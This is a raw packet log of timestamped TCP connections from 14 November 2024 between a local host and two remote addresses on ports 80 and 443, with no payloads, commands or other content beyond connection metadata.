Nov 14, 2024 17:24:37.653680086 CET	443	49836	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.660936117 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.660981894 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.662359953 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.668200970 CET	49838	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.668234110 CET	443	49838	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.679721117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.679789066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.679806948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.679858923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.680151939 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.680174112 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.680191040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.680205107 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.680207968 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.680233955 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.680999041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681015968 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681050062 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.681162119 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681179047 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681195021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681210041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681221962 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.681225061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681241035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.681248903 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.681268930 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.682025909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682040930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682055950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682069063 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.682071924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682087898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682087898 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.682104111 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682118893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682151079 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.682176113 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.682879925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682897091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682913065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682929039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682945013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682945967 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.682961941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682977915 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.682990074 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.683003902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.683773994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.683792114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.683806896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.683832884 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.683832884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.683850050 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.683860064 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.683865070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.683890104 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.684566975 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.684585094 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.684600115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.684624910 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.684652090 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.716665983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.716743946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.716761112 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.716789961 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.717161894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717179060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717195988 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717207909 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.717211962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717232943 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.717833996 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717850924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717869043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717885017 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717896938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.717900991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.717935085 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.717948914 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.718688965 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.718705893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.718724012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.718741894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.718759060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.718770027 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.718775988 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.718817949 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.718863964 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.761177063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.761207104 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.761224985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.761303902 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.782040119 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.782072067 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.782128096 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.782133102 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.782212019 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.782443047 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.782460928 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.782474995 CET	49835	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.782481909 CET	443	49835	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.786048889 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.786081076 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.786324978 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.786432981 CET	49839	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.786443949 CET	443	49839	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.788019896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788081884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788096905 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788139105 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.788165092 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.788227081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788245916 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788264990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788307905 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.788548946 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788568020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788583994 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788600922 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.788615942 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.788844109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788861990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.788909912 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.789047003 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789062977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789081097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789108992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.789364100 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789381981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789398909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789414883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789414883 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.789433002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789438009 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.789449930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.789488077 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.790035009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790051937 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790069103 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790085077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790096998 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.790101051 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790117025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790126085 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.790133953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790142059 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.790174007 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.790817976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790834904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790852070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790868044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790882111 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.790884972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.790910959 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.791358948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.791376114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.791392088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.791408062 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.791414022 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.791424036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.791425943 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.791440964 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.791456938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.791481972 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.791491985 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.792273045 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.792289972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.792304993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.792320013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.792332888 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.792335033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.792350054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.792363882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.792398930 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.831471920 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831549883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831567049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831617117 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.831780910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831798077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831814051 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831830025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831835985 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.831846952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.831866980 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.831892967 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.832246065 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832262993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832279921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832324982 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.832570076 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832588911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832606077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832613945 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.832624912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832653046 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.832952023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832968950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832987070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.832998991 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.833003044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.833034039 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.861083031 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.861833096 CET	49831	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.861850023 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.862344027 CET	49831	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.862348080 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.874722004 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.874924898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.874969006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.874985933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.875014067 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.905109882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.905128002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.905143976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.905174017 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.905206919 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.905740976 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.905812025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.905827999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.905857086 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.906028032 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906042099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906052113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906069040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906157970 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.906157970 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.906526089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906543970 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906559944 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906574011 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.906575918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906593084 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906610012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906613111 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.906625986 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906640053 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.906642914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906666040 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.906670094 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.906712055 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.907402039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907418013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907434940 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907452106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907468081 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907479048 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.907485962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907501936 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907509089 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.907517910 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907526016 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.907533884 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.907557964 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.908335924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908353090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908369064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908385992 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908385992 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.908401966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908409119 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.908418894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908435106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908451080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908451080 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.908468008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908482075 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.908493042 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.908528090 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.909183979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.909200907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.909216881 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.909233093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.909240961 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.909249067 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.909265995 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.909269094 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.909291029 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.918721914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.918788910 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.918951035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948787928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948807955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948824883 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948932886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948949099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948965073 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948980093 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.948982954 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.948982954 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.948995113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949074030 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.949074030 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.949369907 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949388027 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949424982 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.949548006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949564934 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949596882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.949807882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949836016 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949851990 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949867010 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.949867964 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949883938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949899912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.949914932 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.949943066 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.950385094 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.950402021 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.950459957 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.950882912 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.951050043 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.951148987 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.951349974 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.951368093 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.951379061 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.951385021 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.955204964 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.955275059 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.955533981 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.955600023 CET	49840	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.955619097 CET	443	49840	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.994900942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.994961023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.994959116 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.994976044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.995031118 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:37.995191097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:37.995929956 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.996007919 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.996073961 CET	49831	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.996371984 CET	49831	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.996387005 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.999248028 CET	49841	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.999305010 CET	443	49841	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:37.999386072 CET	49841	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:37.999551058 CET	49841	443	192.168.2.6	13.107.246.45
